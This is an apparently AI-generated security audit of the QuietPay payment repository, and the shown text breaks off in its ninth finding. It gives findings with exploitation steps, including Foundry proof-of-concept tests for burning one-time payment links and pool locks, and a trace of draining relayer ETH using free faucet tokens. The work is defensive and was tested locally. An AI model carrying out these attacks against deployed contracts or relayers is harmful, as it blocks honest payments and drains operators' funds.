# Audit report

> Conduct a deep security audit of the current QuietPay repository. Focus on these specific areas:
>
> 1. Payment contracts: QuietPayRouter.sol, QuietPayRouterV2.sol, payment authorization, recipient binding, partial payments, replay attacks, front-running and destination validation.
> 2. Payment links: Request IDs, fixed and open amounts, expiry, revocation, duplicate payments, unauthorized consumption and payment redirection.
> 3. Router security: V1 fallback, router version validation, contract code hashes, token validation and metadata integrity.
> 4. Stealth cryptography: Private/public key derivation, ephemeral key reuse, shared secrets, signature verification, invalid curve points and address generation.
> 5. Private-key security: Browser encryption, key generation, passkeys, backup, recovery, local storage, XSS and accidental key exposure.
> 6. Shielded pool: 0xbow integration, Merkle proofs, nullifiers, root updates, approval churn, stale proofs, double withdrawals and ragequit.
> 7. Relayer: Gas sponsorship, ETH exhaustion, faucet-token abuse, price manipulation, rate-limit bypass, concurrent requests and spending limits.
> 8. Entrypoint governance: Ownership, multisig configuration, timelocks, vetting fees, UUPS upgrades, initialization and unauthorized configuration changes.
> 9. Token handling: ERC-20 return values, malicious tokens, fee-on-transfer tokens, decimals, balance accounting, reentrancy and trapped funds.
> 10. Backend APIs: Authentication, authorization, IDOR, input validation, rate limiting, injection, information disclosure and denial of service.
> 11. Frontend transaction security: Wallet signatures, chain validation, transaction simulation, recipient/amount manipulation, stale state and incorrect payment confirmations.
> 12. Deployment security: Environment variables, deployment scripts, proxy initialization, admin permissions, CI/CD and production configuration.
> 13. Privacy: Address linkability, transaction correlation, metadata leakage, timing analysis, event exposure and unintended disclosure of user activity.
> 14. Cross-system vulnerabilities: Race conditions, inconsistent contract/frontend state, cross-chain replay, incorrect assumptions between services and integration failures.
>
> Testing requirements:
>
> * Reproduce all seven findings from the previous audit.
> * Verify each remediation independently.
> * Perform Foundry tests, fuzzing, invariant testing and adversarial simulations.
> * Write reproducible proof-of-concept tests for every suspected vulnerability.
> * Identify new vulnerabilities introduced by previous fixes.
> * Check whether funds can be stolen, trapped or made inaccessible.
>
> Provide exact file references, vulnerable functions, severity, exploitation steps, impact and recommended fixes.
>
> Classify every previous finding as fixed, partially fixed or unresolved. Report all new findings and residual risks.
>
> Do not assume fixes work without testing. Do not deploy or broadcast transactions.

| | |
|---|---|
| Repository | https://github.com/kadiri-seer/quietpay.git |
| Commit | `e879a1422c46b611a5f73c2ead391ca2d5356385` |
| Job | `b3859010-b6e0-480f-a7fc-9cd17e85e69a` |
| Judged | 2026-11-07 13:16 UTC |
| Findings | 4 medium · 6 low · 1 info |

Four agents audited the code as it is at `e879a14`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. Medium: QuietPayRouterV3/V2 payOnce: anyone can burn a one-time link's request ID with a 1-base-unit payment to their own address, permanently blocking the real payment (previous one-time-consumption finding

`contracts/src/QuietPayRouterV3.sol:103`

```
    paidOnce[requestId] = true;
```

payOnce sets paidOnce[requestId] after checking only that the caller's own metadata repeats the caller's own requestId, amount and token (lines 98-103). Nothing binds the request ID to the recipient: stealthAddress is any non-excluded address and amount is any non-zero value the caller writes into the metadata. The request ID is public (it travels in the link, src/lib/link.ts, and in the calldata of any pending payOnce), so a third party, or a mempool front-runner, can consume it for 1 base unit sent to an address they control. Every later honest payOnce reverts AlreadyPaid, and the payer app (src/lib/payer.ts:293) reads paidOnce and reports 'This link was already paid', so the recipient is never paid and cannot reopen the link. contracts/src/QuietPayRouterV2.sol:98 has identical code and V2 is the router configured in .env.production. The remediation commit fixed this only for pool links (QuietPayPoolRouterV2.payRequest requires a signature from a key only the recipient holds); stealth one-time links, the only one-time links where no pool exists, keep the old behaviour. SECURITY.md 'Remaining limits' says the griefer must pay the link's full amount; the code requires only 1 unit paid to themselves, so the attack costs gas only. Classification of the previous one-time-consumption finding: partially fixed. Merged from three specialist reports (audit_flow, audit_permissions, audit_economics). Fix: bind the request to the recipient the way payRequest does, e.g. the recipient's per-request key signs (chainId, router, token, requestId, amount, expiry) and payOnce verifies the signature and that amount equals the signed amount before setting paidOnce; or do not mark the ID paid unless the destination is provably the recipient's. Until then present paidOnce in the UI as 'used', not 'paid'.

**Reproduction**

Deploy QuietPayRouterV3(token, announcer). Attacker holding 1 base unit approves the router and calls payOnce(R=0x1111..11, attackerStealth, 1, 0x02||00*32, 0x42||a9059cbb||token||uint256(1)||515001||R). Expected: the request stays payable by the real payer (the attacker did not pay the recipient). Actual: the call succeeds, paidOnce[R] == true, and the payer's payOnce(R, recipientStealth, 100e6, key, metadata for 100e6) reverts AlreadyPaid(R); recipientStealth balance stays 0. Reproduced with test/scratch/PayOnceBurn.t.sol (the audit_permissions proof): it fails on the current code with 'legitimate payment to the link was refused: request ID consumed by a third party'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "forge-std/Test.sol";
import {QuietPayRouterV3} from "contracts/src/QuietPayRouterV3.sol";
import {ERC5564Announcer} from "contracts/src/ERC5564Announcer.sol";

contract SimpleToken {
  mapping(address => uint256) public balanceOf;
  mapping(address => mapping(address => uint256)) public allowance;

  function mint(address to, uint256 a) external {
    balanceOf[to] += a;
  }

  function approve(address s, uint256 a) external returns (bool) {
    allowance[msg.sender][s] = a;
    return true;
  }

  function transferFrom(address f, address t, uint256 a) external returns (bool) {
    allowance[f][msg.sender] -= a;
    balanceOf[f] -= a;
    balanceOf[t] += a;
    return true;
  }
}

/// A one-time (fixed) link's request ID is not bound to the recipient's stealth meta-address, so
/// anyone who knows the ID (it is in the shared link and in any pending payOnce calldata) can
/// burn it by paying themselves. The real payer is then refused forever.
contract RouterV3RequestHijackTest is Test {
  QuietPayRouterV3 router;
  SimpleToken token;
  address payer = address(0xA11CE);
  address attacker = address(0xBAD);
  address recipientStealth = address(0x5EA1);
  address attackerStealth = address(0xBAD2);
  bytes16 constant REQ = bytes16(0x11111111111111111111111111111111);

  function setUp() public {
    token = new SimpleToken();
    ERC5564Announcer ann = new ERC5564Announcer();
    router = new QuietPayRouterV3(address(token), address(ann));
    token.mint(payer, 100e6);
    token.mint(attacker, 1);
  }

  function _meta(uint256 amount) internal view returns (bytes memory) {
    return abi.encodePacked(bytes1(0x42), bytes4(0xa9059cbb), address(token), amount, bytes3(0x515001), REQ);
  }

  function _key() internal pure returns (bytes memory k) {
    k = new bytes(33);
    k[0] = 0x02;
  }

  function test_attackerBurnsFixedLinkRequestId() public {
    // Attacker front-runs (or just reads the link) and pays 1 base unit to an address they own.
    vm.startPrank(attacker);
    token.approve(address(router), 1);
    router.payOnce(REQ, attackerStealth, 1, _key(), _meta(1));
    vm.stopPrank();
    assertEq(token.balanceOf(attackerStealth), 1, "attacker paid themselves");

    // The legitimate payer now tries to pay the recipient the full amount.
    vm.startPrank(payer);
    token.approve(address(router), 100e6);
    (bool ok,) = address(router).call(
      abi.encodeCall(QuietPayRouterV3.payOnce, (REQ, recipientStealth, 100e6, _key(), _meta(100e6)))
    );
    vm.stopPrank();

    // Expected: the real payment goes through, because the attacker's call did not pay the recipient.
    assertTrue(ok, "legitimate payment to the link was refused: request ID consumed by a third party");
    assertEq(token.balanceOf(recipientStealth), 100e6);
  }
}
```

### 2. Medium: QuietPayPoolRouterV2: a signed one-time pool request can be made permanently unpayable by burning its link lock and all three public spare locks through pay() for the pool minimum each (defeats the do

`contracts/src/QuietPayPoolRouterV2.sol:142`

```
  function pay(uint256 precommitment, uint256 amount, address refund) external nonReentrant returns (uint256 label) {
```

payRequest only accepts locks signed by the request key, but pay() (and Entrypoint.deposit directly) accepts any precommitment from anyone for any amount at or above the pool minimum, and the Entrypoint marks a precommitment used for good (contracts/vendor/privacy-pools/src/contracts/Entrypoint.sol:324-326, usedPrecommitments). A request has a bounded set of signed locks: the one in the link plus SPARES_UPLOADED = 3 spares (src/lib/pool/request-sig.ts), and GET /api/locks?key=<requestKey> (src/app/api/locks/route.ts:54, src/lib/pool/lock-service.ts takeLock) hands a spare to anyone who presents the request key, which is recoverable from the link's own signatures. A link holder therefore burns the lock and every spare with four minimum deposits (1 tUSDG each on testnet, scripts/deploy-testnet.ts:151, free from the faucet), optionally naming their own refund address. requestPaid stays false, yet every payRequest reverts PrecommitmentAlreadyUsed and PoolPayPanel.tsx:108 tells the payer the link cannot be paid. The same can be done as a front-run of a pending payRequest, once per lock. SECURITY.md and docs/shielded-pool.md:191 present the spares as making the link 'still work'; they only raise the cost from one minimum deposit to four. The burned deposits land with the recipient, so this is griefing, not theft. Merged from three specialist reports. Fix options that keep the design: derive the deposited precommitment on-chain from a signed seed plus requestId so plain pay() cannot hit it; or let the recipient's device top up spares on demand with unbounded spare indexes and rate-limit /api/locks takes per request key; and document the mainnet cost as k x minimumDepositAmount.

**Reproduction**

State: request ID 0xaa.., amount 500e6, key K, locks 101 (link) and 102..104 (spares), all signed by K. Griefer calls router.pay(p, 1_000_000, griefer) for p = 101..104 (4 tUSDG total). Payer then calls payRequest(ID, 500e6, exp, termsSig, p, refund, lockSig_p) for each p. Expected: at least one succeeds and requestPaid(K) becomes true. Actual: all four revert PrecommitmentAlreadyUsed and requestPaid(K) stays false for good. Reproduced with test/scratch/LockBurn.t.sol (a mock Entrypoint that mirrors the one-use precommitment and minimum deposit); it fails on the current code with 'signed request can never be paid: link lock and all spares burned by a third party'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test} from "forge-std/Test.sol";
import {QuietPayPoolRouterV2} from "contracts/src/QuietPayPoolRouterV2.sol";

contract MockToken {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transferFrom(address f, address t, uint256 a) external returns (bool) {
        require(allowance[f][msg.sender] >= a, "allowance");
        allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[t] += a; return true;
    }
    function transfer(address t, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[t] += a; return true; }
}

contract MockPool {
    address public entrypoint;
    address public asset;
    uint256 public scope = 1;
    uint256 public nonce;
    mapping(uint256 => address) public depositors;
    constructor(address ep, address a) { entrypoint = ep; asset = a; }
    function ENTRYPOINT() external view returns (address) { return entrypoint; }
    function ASSET() external view returns (address) { return asset; }
    function SCOPE() external view returns (uint256) { return scope; }
    function setDepositor(uint256 label, address d) external { depositors[label] = d; }
    function bumpNonce() external returns (uint256) {
        nonce += 1;
        return uint256(keccak256(abi.encodePacked(scope, nonce))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;
    }
}

/// Mirrors 0xbow Entrypoint._handleDeposit: a precommitment can be used once, for good, and a
/// deposit must be at least minimumDepositAmount (1 tUSDG on the testnet deployment).
contract MockEntrypoint {
    error PrecommitmentAlreadyUsed();
    error MinimumDepositAmount();
    MockToken public token;
    MockPool public pool;
    uint256 public minimumDepositAmount = 1_000_000;
    mapping(uint256 => bool) public usedPrecommitments;
    constructor(MockToken t) { token = t; }
    function setPool(MockPool p) external { pool = p; }
    function deposit(address, uint256 value, uint256 precommitment) external returns (uint256 commitment) {
        if (usedPrecommitments[precommitment]) revert PrecommitmentAlreadyUsed();
        usedPrecommitments[precommitment] = true;
        if (value < minimumDepositAmount) revert MinimumDepositAmount();
        token.transferFrom(msg.sender, address(this), value);
        uint256 label = pool.bumpNonce();
        pool.setDepositor(label, msg.sender);
        commitment = uint256(keccak256(abi.encodePacked(value, label, precommitment)));
    }
}

/// A signed one-time request has a bounded set of locks: the one in the link plus the three
/// spares the recipient uploads (src/lib/pool/request-sig.ts, SPARES_UPLOADED = 3), which
/// GET /api/locks hands to anyone presenting the request key (which is recoverable from the
/// link's own signatures). pay() accepts any precommitment from anyone, so a griefer can burn all
/// four with minimum deposits. Afterwards payRequest can never succeed for this request, although
/// requestPaid stays false and the request is unexpired and correctly signed.
contract LockBurnTest is Test {
    MockToken token;
    MockPool pool;
    MockEntrypoint ep;
    QuietPayPoolRouterV2 router;

    uint256 constant REQUEST_KEY_PK = 0xA11CE5EED;
    address payer = address(0xA1);
    address griefer = address(0xBAD);
    address refund = address(0xAAA);
    bytes16 constant ID = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
    uint256 constant AMOUNT = 500_000_000; // 500 tUSDG

    function setUp() public {
        token = new MockToken();
        ep = new MockEntrypoint(token);
        pool = new MockPool(address(ep), address(token));
        ep.setPool(pool);
        router = new QuietPayPoolRouterV2(address(pool));
        token.mint(payer, AMOUNT);
        token.mint(griefer, 4_000_000); // 4 tUSDG from the faucet
        vm.prank(payer); token.approve(address(router), type(uint256).max);
        vm.prank(griefer); token.approve(address(router), type(uint256).max);
    }

    function sign(bytes32 digest) internal pure returns (bytes memory) {
        bytes32 h = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", digest));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(REQUEST_KEY_PK, h);
        return abi.encodePacked(r, s, v);
    }

    function test_grieferBurnsLinkLockAndAllSpares() public {
        address key = vm.addr(REQUEST_KEY_PK);
        uint64 expires = uint64(block.timestamp + 1 days);
        bytes memory terms = sign(router.requestDigest(ID, AMOUNT, expires));
        // Link lock 101 and spares 102..104, all signed by the request key.
        uint256[4] memory locks = [uint256(101), 102, 103, 104];
        bytes[4] memory lockSigs;
        for (uint256 i = 0; i < 4; i++) lockSigs[i] = sign(router.lockDigest(locks[i], refund));

        // Griefer burns every lock with the pool minimum (1 tUSDG each), naming their own refund.
        for (uint256 i = 0; i < 4; i++) {
            vm.prank(griefer);
            router.pay(locks[i], 1_000_000, griefer);
        }
        assertFalse(router.requestPaid(key), "request is not marked paid");

        // Expected: the honest payer can still pay the signed request through one of its locks.
        bool paid;
        for (uint256 i = 0; i < 4 && !paid; i++) {
            vm.prank(payer);
            (paid, ) = address(router).call(
                abi.encodeCall(QuietPayPoolRouterV2.payRequest, (ID, AMOUNT, expires, terms, locks[i], refund, lockSigs[i]))
            );
        }
        assertTrue(paid, "signed request can never be paid: link lock and all spares burned by a third party");
        assertTrue(router.requestPaid(key));
    }
}
```

### 3. Medium: Two one-time links that pick the same link number share one request key, so paying one makes the other permanently unpayable (requestPaid is keyed by signer, not by request ID)

`contracts/src/QuietPayPoolRouterV2.sol:83`

```
  mapping(address requestKey => bool) public requestPaid;
```

deriveRequestKey (src/lib/link-keys.ts:74) derives the request key from (wallet seed, chain, link index) alone, and payRequest records the paid state per signing address (line 176-177), not per request ID. SECURITY.md 'Key loss' documents that two devices can pick the same link number (the chain check in src/app/create/CreateFlow.tsx:170 only detects locks the pool has accepted, and unpaid links are not recoverable by scanning, so a second device that recovers from chain while an unpaid link exists picks the same number). It claims the links then merely share keys and fixed links show only payments carrying their own request ID. With signed pool requests that is no longer true: once the first link is paid, the second link's correctly signed, unexpired, unpaid request always reverts RequestAlreadyPaid. No funds are lost; the recipient must issue a new link. Fix: key requestPaid by keccak256(key, requestId) (or by the terms digest), so one key can carry several requests while each request is still paid at most once.

**Reproduction**

Links A and B share request key K (private key 0xA11CE5EED in the test) with different request IDs (0xaa.., 0xbb..), amounts (100, 200), expiries and locks (111, 222), each signed by K. Payer A calls payRequest(idA, 100, expiresA, termsA, 111, 0xAAA, lockA): succeeds, requestPaid(K) == true. Payer B calls payRequest(idB, 200, expiresB, termsB, 222, 0xBBB, lockB). Expected: succeeds, since idB was never paid and lock 222 is unused. Actual: reverts RequestAlreadyPaid. Reproduced with test/scratch/RequestKeyReuse.t.sol, which fails on the current code with 'second link sharing the request key is permanently unpayable'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test} from "forge-std/Test.sol";
import {QuietPayPoolRouterV2} from "contracts/src/QuietPayPoolRouterV2.sol";

contract MockToken {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transferFrom(address f, address t, uint256 a) external returns (bool) {
        require(allowance[f][msg.sender] >= a, "allowance");
        allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[t] += a; return true;
    }
    function transfer(address t, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[t] += a; return true; }
}

contract MockPool {
    address public entrypoint;
    address public asset;
    uint256 public scope = 1;
    uint256 public nonce;
    mapping(uint256 => address) public depositors;
    constructor(address ep, address a) { entrypoint = ep; asset = a; }
    function ENTRYPOINT() external view returns (address) { return entrypoint; }
    function ASSET() external view returns (address) { return asset; }
    function SCOPE() external view returns (uint256) { return scope; }
    function setDepositor(uint256 label, address d) external { depositors[label] = d; }
    function nextLabel() external view returns (uint256) {
        return uint256(keccak256(abi.encodePacked(scope, nonce + 1))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;
    }
    function bumpNonce() external returns (uint256) {
        nonce += 1;
        return uint256(keccak256(abi.encodePacked(scope, nonce))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;
    }
}

contract MockEntrypoint {
    MockToken public token;
    MockPool public pool;
    mapping(uint256 => bool) public usedPrecommitments;
    constructor(MockToken t) { token = t; }
    function setPool(MockPool p) external { pool = p; }
    function deposit(address, uint256 value, uint256 precommitment) external returns (uint256 commitment) {
        require(!usedPrecommitments[precommitment], "PrecommitmentAlreadyUsed");
        usedPrecommitments[precommitment] = true;
        token.transferFrom(msg.sender, address(this), value);
        uint256 label = pool.bumpNonce();
        pool.setDepositor(label, msg.sender);
        commitment = uint256(keccak256(abi.encodePacked(value, label, precommitment)));
    }
}

/// Two one-time links made offline on two devices can pick the same link number (SECURITY.md says
/// so). The request key is derived from the link number alone, so both links are signed by the same
/// address, and QuietPayPoolRouterV2 marks a request paid per signing address. Paying the first
/// link therefore makes the second permanently unpayable, even though its request ID, amount,
/// expiry and lock are all different and correctly signed.
contract RequestKeyReuseFailsTest is Test {
    MockToken token;
    MockPool pool;
    MockEntrypoint ep;
    QuietPayPoolRouterV2 router;

    uint256 constant REQUEST_KEY_PK = 0xA11CE5EED;
    address payerA = address(0xA1);
    address payerB = address(0xB1);

    function setUp() public {
        token = new MockToken();
        ep = new MockEntrypoint(token);
        pool = new MockPool(address(ep), address(token));
        ep.setPool(pool);
        router = new QuietPayPoolRouterV2(address(pool));
        token.mint(payerA, 1000);
        token.mint(payerB, 1000);
        vm.prank(payerA); token.approve(address(router), type(uint256).max);
        vm.prank(payerB); token.approve(address(router), type(uint256).max);
    }

    function sign(bytes32 digest) internal pure returns (bytes memory) {
        // EIP-191 personal-sign over the 32-byte digest, as the app does (viem signMessage raw).
        bytes32 h = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", digest));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(REQUEST_KEY_PK, h);
        return abi.encodePacked(r, s, v);
    }

    function testSecondLinkWithSameKeyCannotBePaid() public {
        address key = vm.addr(REQUEST_KEY_PK);

        // Link A: request id 0xaa.. amount 100, lock 111
        bytes16 idA = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
        uint256 amountA = 100;
        uint64 expiresA = uint64(block.timestamp + 1 days);
        bytes memory termsA = sign(router.requestDigest(idA, amountA, expiresA));
        bytes memory lockA = sign(router.lockDigest(111, address(0xAAA)));

        // Link B: different request id, amount and lock, same signing key (same link number).
        bytes16 idB = 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
        uint256 amountB = 200;
        uint64 expiresB = uint64(block.timestamp + 2 days);
        bytes memory termsB = sign(router.requestDigest(idB, amountB, expiresB));
        bytes memory lockB = sign(router.lockDigest(222, address(0xBBB)));

        vm.prank(payerA);
        router.payRequest(idA, amountA, expiresA, termsA, 111, address(0xAAA), lockA);
        assertTrue(router.requestPaid(key));

        // Link B is validly signed, unexpired, unpaid and has a fresh lock, yet cannot be paid.
        // Expected: link B is paid, since its own request ID was never paid and its lock is unused.
        vm.prank(payerB);
        (bool ok, ) = address(router).call(
            abi.encodeCall(QuietPayPoolRouterV2.payRequest, (idB, amountB, expiresB, termsB, 222, address(0xBBB), lockB))
        );
        assertTrue(ok, "second link sharing the request key is permanently unpayable");
        assertEq(token.balanceOf(address(ep)), 300, "both payments landed in the pool");
    }
}
```

### 4. Medium: Relayer ETH can be drained by relays whose fee is paid in free test tokens: the gas-drop limits do not cover the relay transaction itself, there is no balance floor or daily cap on relays, and the dra

`src/lib/pool/relayer.ts:63`

```
  const feeWei = (((p.amount * p.feeBPS) / 10_000n) * WEI) / p.tokenUnitsPerEth;
```

relayEconomics accepts a relay when the fee, valued at tokenUnitsPerEth (RELAYER_ETH_PRICE, default 3000 tUSDG per ETH), covers the gas. On testnet the fee token is QuietPayTestUSDG, which anyone mints without limit through faucet(), so the fee has no value and the check protects nothing (src/lib/server/gas-drops.ts header says so for top-ups). The remediation added a minimum balance and per-address, per-caller and daily caps, but only for gas top-ups (decideGasDrop is called from guard.allowDrop after the withdrawal succeeded, relayer.ts:233). relayWithdrawal (relayer.ts:199-224) and relayTransfer (relayer.ts:369-382) simulate, check relayEconomics and then send, with no check of the relayer balance against RELAYER_MIN_BALANCE_ETH and no daily total; the only limit is RELAYS_PER_10_MIN = 30 per salted IP in src/app/api/relay/route.ts:21. src/lib/pool/server.ts:5 documents that RELAYER_PRIVATE_KEY is the 'relayer + approver key', so an emptied relayer also stops updateRoot, after which new deposits can only leave by ragequit, not privately. Classification of the previous ETH-exhaustion finding: partially fixed (top-ups only). Fix: put the relay transaction under the same limits (refuse below RELAYER_MIN_BALANCE_ETH, daily ETH or count budget, per-caller daily count), and use a separate key for the approver so relay spending cannot stop approvals.

**Reproduction**

Testnet defaults: RELAYER_FEE_BPS=50, RELAYER_ETH_PRICE=3000 so tokenUnitsPerEth=3000e6, relay gas about 900k at 0.1 gwei = 9e-5 ETH. Attacker mints faucet(10_000e6), deposits into the pool, waits for approval (POOL_ROOT_INTERVAL_SECONDS=60), then POSTs /api/relay with withdrawals of 100e6 to fresh addresses. feeWei at line 63 = (100e6*50/10000)*1e18/3000e6 = 1.67e-4 ETH > 9e-5 relayCost, so ok=true and the relay is sent. Expected: relays paid in worthless tokens cannot consume the relayer's ETH without bound. Actual: each IP gets 30 relays per 10 minutes (about 4,320 a day, about 0.39 ETH a day at these numbers) with no floor and no total cap; nothing stops at RELAYER_MIN_BALANCE_ETH, and once the balance is 0, relays and approval roots both stop. Verified by code trace of relayWithdrawal, relayTransfer, route.ts and gas-drops.ts; not an on-chain reproduction (no transactions were broadcast).

### 5. Low: Production config still points at router v2, which has no on-chain destination check; the previous destination finding is fixed only in v3 and client-side for v2

`contracts/src/QuietPayRouterV2.sol:109`

```
    if (stealthAddress == address(0)) revert ZeroAddress();
```

_pay in V2 checks only the zero address, while V3 (QuietPayRouterV3.sol:115) also refuses the router, the token and the announcer. .env.production line 7 (NEXT_PUBLIC_TESTNET_ROUTER_ADDRESS=0x40fd154912de23993fe32b861f2c784b664b2d1a, commit 76f9a83 'Use router v2 on testnet') still names the v2 deployment, and src/lib/chain.ts:133 accepts v2 code hashes as a valid router. SECURITY.md presents the destination refusal as an on-chain property; for the deployed configuration only the client-side checkStealthDestination in src/lib/payer.ts applies, which binds nobody calling the contract directly or any other client. Impact is limited: a stealth address derived from a real link cannot equal the token address, so the trapped-funds case needs a caller who chooses that destination, i.e. self-harm or a buggy client. Classification of the previous destination finding: partially fixed. Fix: configure the v3 router in .env.production and drop v2 from the accepted set (or state in SECURITY.md that v2 relies on the client-side check). Merged from audit_math and audit_flow.

**Reproduction**

Deploy V2 and V3 with the same token and announcer; payer approves both. v2.pay(address(token), 100e6, ephemeral, metadata(0x00, 0xa9059cbb, token, 100e6)). Expected (v3 semantics and SECURITY.md): revert BadDestination. Actual: succeeds and token.balanceOf(address(token)) rises by 100e6, unrecoverable. The same call on V3 reverts BadDestination. Reproduced by running the audit_flow proof (both of its tests pass, i.e. the V2 acceptance and V3 refusal both hold); no proof attached because V2 is immutable and the fix is configuration.

### 6. Low: QuietPayPoolGuardian: the 'hard' fee ceilings can be bypassed after one delay through grantRole(OWNER_ROLE), revokeRole or upgradeToAndCall, and minimumDepositAmount is unbounded (trust assumption ove

`contracts/src/QuietPayPoolGuardian.sol:180`

```
    } else if (sel == IEntrypointAdmin.grantRole.selector || sel == IEntrypointAdmin.revokeRole.selector) {
```

The header (lines 23-24) and SECURITY.md promise that the vetting fee 'can never exceed MAX_VETTING_FEE_BPS ... whatever the admin proposes'. _checkCall enforces the ceilings only on updatePoolConfiguration and registerPool calldata (lines 171-176). grantRole and revokeRole are accepted for any role and account (line 180), and upgradeToAndCall only requires the implementation to have code (line 179). The Entrypoint sets OWNER_ROLE as its own admin (contracts/vendor/privacy-pools/src/contracts/Entrypoint.sol:81), so the guardian, as owner, can grant OWNER_ROLE to the admin EOA; after the delay the EOA calls Entrypoint.updatePoolConfiguration directly with any fee below 10_000 (Entrypoint.sol:396) and no delay. revokeRole(OWNER_ROLE, guardian) would leave the Entrypoint without an owner, so windDown, postman rotation and withdrawFees become impossible and the fees it holds are stuck. upgradeToAndCall to any implementation can rewrite fees or the Entrypoint's fee balance. minimumDepositAmount passes through unchecked: 0 makes lock burning cost only gas on mainnet, uint256.max halts every deposit, payRequest and pool-to-pool transfer. Every path waits the public delay and the code comment acknowledges it, so this is a privileged-trust gap, not an outside attack. Fix, keeping the guardian design: in _checkCall refuse grantRole for OWNER_ROLE and DEFAULT_ADMIN_ROLE unless the grantee is a new guardian, refuse revokeRole(OWNER_ROLE, address(this)) unless another owner exists, allowlist upgrade implementation code hashes, and bound minimumDepositAmount; or reword the NatSpec and SECURITY.md to say the ceilings hold only while no role change or upgrade is executed. Merged from audit_permissions and audit_economics.

**Reproduction**

Guardian G owns Entrypoint E with delay D. admin calls G.propose(E, abi.encodeCall(IEntrypointAdmin.grantRole, (keccak256('OWNER_ROLE'), admin))): _checkCall at line 180 accepts it. After D anyone calls G.execute(id); Entrypoint.grantRole succeeds because OWNER_ROLE's admin role is OWNER_ROLE, which G holds. admin then calls E.updatePoolConfiguration(tUSDG, 1e6, 9999, 9999) directly. Expected per the NatSpec and SECURITY.md: the vetting fee can never exceed 100 bps. Actual: 9999 bps takes effect immediately and the next payRequest of 500e6 credits the recipient 0.05e6. Also accepted by _checkCall: revokeRole(OWNER_ROLE, G), upgradeToAndCall(anyContractWithCode, data), and updatePoolConfiguration(asset, type(uint256).max, 0, 0). Verified by reading _checkCall against Entrypoint's role setup; the vendored Entrypoint pins solc 0.8.28, so no Foundry proof is attached.

### 7. Low: Send to a personal link shows and confirms an 'arrives' amount that ignores the vetting fee charged on the pool-to-pool re-deposit

`src/lib/pool/send.ts:44`

```
  return { fee, arrives: total - fee };
```

afterFees() subtracts only the relayer fee. It feeds the pre-send summary (src/app/send/SendFlow.tsx:185 and :386) and the done screen (SendFlow.tsx:297-298, 'is on its way'). For a send to a personal link each part goes through QuietPayPoolRouterV2.transfer, which withdraws got, pays fee to the relayer and re-deposits got - fee through the Entrypoint (contracts/src/QuietPayPoolRouterV2.sol:215); Entrypoint._handleDeposit then deducts the vetting fee again (Entrypoint.sol:332), so the recipient's note is (got - fee) minus (got - fee) * vettingFeeBPS / 10000. The Transferred event (PoolRouterV2.sol:216) likewise reports the pre-vetting amount. The displayed and confirmed figure equals the real one only while vettingFeeBPS == 0 (the current testnet deployment, scripts/deploy-testnet.ts:152); the guardian may raise it to 100 bps through a delayed proposal. Not a loss of funds (the difference is the Entrypoint's fee by design), but a wrong payment confirmation. Fix: for to.kind === 'key' compute arrives per part as creditedAmount(part.amount - feeFor(part.amount, feeBPS), vettingFeeBPS) and show the vetting fee as its own line; document on Transferred that amount is before the vetting fee.

**Reproduction**

State: pool vettingFeeBPS = 50, relayer feeBPS = 100. Sender sends 2_000_000 units (2 tUSDG) to a personal link from one note. Displayed and confirmed: fee 20_000, arrives 1_980_000. Actual on chain: router pays 20_000 to the relayer and deposits 1_980_000; the Entrypoint keeps 1_980_000 * 50 / 10000 = 9_900 and the recipient's note is 1_970_100. Verified by tracing afterFees -> SendFlow -> QuietPayPoolRouterV2.transfer -> Entrypoint._handleDeposit/_deductFee.

### 8. Low: Shield form computes the delivery fee and 'Arrives' on the pre-vetting deposit amount, not on the note value that is actually withdrawn

`src/app/receive/ShieldForm.tsx:289`

```
              <dd className="text-right text-snow">{fmt(value - (value * feeBPS) / 10_000n)}</dd>
```

Lines 287-289 display Delivery fee = value * feeBPS / 10000 and Arrives = value - that, where value is what the one-time address deposits. The deposit is credited after the pool's vetting fee, as the 'Credited after pool fee' row two lines above shows using afterVettingFee(value, info.vettingFeeBPS), and as the tooSmall check on line 98 uses correctly. The delivery later withdraws the note's value (src/lib/pool/deliver.ts:66), so the relayer fee is afterVetting * feeBPS / 10000 and the arrival is afterVetting minus that. Two formulas for the same quantity use different bases inside one component and agree only when vettingFeeBPS == 0. Fix: base both rows on afterVettingFee(value, info.vettingFeeBPS).

**Reproduction**

State: vettingFeeBPS = 50, relayer feeBPS = 100, user shields value = 100_000_000 (100 tUSDG) with 'Send it to my wallet'. Displayed: Credited after pool fee 99.500000, Delivery fee 1.000000, Arrives 99.000000. Actual: note value 99_500_000, relay fee 995_000, arrives 98_505_000 (98.505000). The displayed arrival exceeds the real one by 0.495000 and the fee row contradicts the credited row above it. Verified by reading lines 98, 282-289 and deliver.ts.

### 9. Low: Gas-drop recipient cooldown is consumed before the per-caller and daily limits, so a request refused by those limits still blocks the recipient's top-up for a day

`src/lib/server/gas-drops.ts:69`

```
